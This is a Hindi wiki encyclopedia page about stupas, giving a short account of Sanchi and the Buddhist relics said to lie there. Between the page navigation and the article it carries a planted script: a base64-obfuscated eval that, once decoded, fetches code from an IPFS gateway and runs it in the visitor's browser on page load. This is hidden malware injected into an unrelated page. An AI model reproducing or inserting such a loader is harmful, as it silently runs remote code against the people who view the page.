स्तूप

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Ashwani Bhatia (चर्चा | योगदान) द्वारा परिवर्तित १५:२४, २० अप्रैल २०१० का अवतरण (Text replace - 'बुध्द' to 'बुद्ध')
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

स्तूप / Stup

स्तूप एक गुम्दाकार भवन होता था, जो बुद्ध से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था। सम्राट अशोक ने भी स्तंम्भ बनवाये थे। साँची का पता सन 1818 ई. में जनरल टायलर ने लगाया था। विश्वप्रसिद्ध बौद्ध स्तूपों के लिए जाना जाने वाला साँची, विदिशा से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर है। प्रज्ञातिष्य महानायक थैर्यन के अनुसार यहाँ के बड़े स्तूप में स्वयं भगवान बुद्ध के तथा छोटे स्तूपों में भगवान- बुद्ध के प्रिय शिष्य सारिपुत (सारिपुत्र) तथा महामौद्गलायन समेत कई अन्य बौद्ध भिक्षुओं के धातु रखे हैं। राजा तथा श्रद्धालु-जनता के सहयोग से यह निर्माण-कार्य हुआ।